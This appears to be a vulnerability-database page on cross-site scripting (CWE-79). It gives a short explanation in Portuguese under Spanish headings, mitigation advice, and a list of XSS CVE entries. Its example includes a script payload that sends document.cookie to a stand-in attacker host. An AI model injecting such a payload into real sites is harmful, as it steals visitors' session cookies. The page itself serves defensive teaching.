Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-22309MEDIUMWordPress SpeakOut! Email Petitions plugin <= 4.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-8004HIGHStored Cross-site Scripting (XSS) vulnerability affecting ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2025-5699MEDIUMDeveloper Formatter <= 2015.0.2.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via Custom CSSEPSS 0.3%CVE-2026-65914MEDIUMDOMPurify before 3.3.2 Mutation XSS via Re-ContextualizationEPSS 0.3%CVE-2024-7736HIGHReflected Cross-site Scripting (XSS) vulnerability affecting ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2024-41381MEDIUMmicroweber 2.0.16 was discovered to contain a Cross Site Scripting (XSS) vulnerability via userfiles\modules\settings\admin.php.EPSS 0.3%CVE-2025-22310MEDIUMWordPress TemplatesNext ToolKit plugin <= 3.2.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-115897LOWSerialize JavaScript: Cross-site scripting (XSS) via unescaped </script at the end of a serialized function bodyEPSS 0.3%CVE-2025-30203MEDIUMTuleap allows XSS via the content of RSS feeds in the RSS widgetsEPSS 0.3%CVE-2025-30907MEDIUMWordPress SecuPress Free plugin <= 2.2.5.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-39631HIGHWordPress Contest Gallery plugin <= 23.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7767MEDIUMPHPGurukul Art Gallery Management System edit-art-medium-detail.php cross site scriptingEPSS 0.3%CVE-2024-29109MEDIUMWordPress Shariff Wrapper plugin <= 4.6.10 - Contributor+ Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-14990CRITICALIBM DataPower Gateway affected by cross-site scriptingEPSS 0.3%CVE-2025-9753MEDIUMCampcodes Online Hospital Management System Patient Search patient-search.php cross site scriptingEPSS 0.3%CVE-2025-20211MEDIUMCisco BroadWorks Application Delivery Platform Software Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2026-109207HIGHRSS Aggregator by Feedzy <= 5.2.11 - Unauthenticated Stored Cross-Site Scripting via RSS media:thumbnail URLEPSS 0.3%CVE-2024-29865MEDIUMLogpoint before 7.1.0 allows Self-XSS on the LDAP authentication page via the username to the LDAP login form.EPSS 0.3%CVE-2025-9130MEDIUMUnify <= 3.4.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via unify_checkout ShortcodeEPSS 0.3%CVE-2026-100182HIGHDownload Monitor <= 5.2.10 - Unauthenticated Stored Cross-Site Scripting via Cross-Origin postMessage to Admin EditorEPSS 0.3%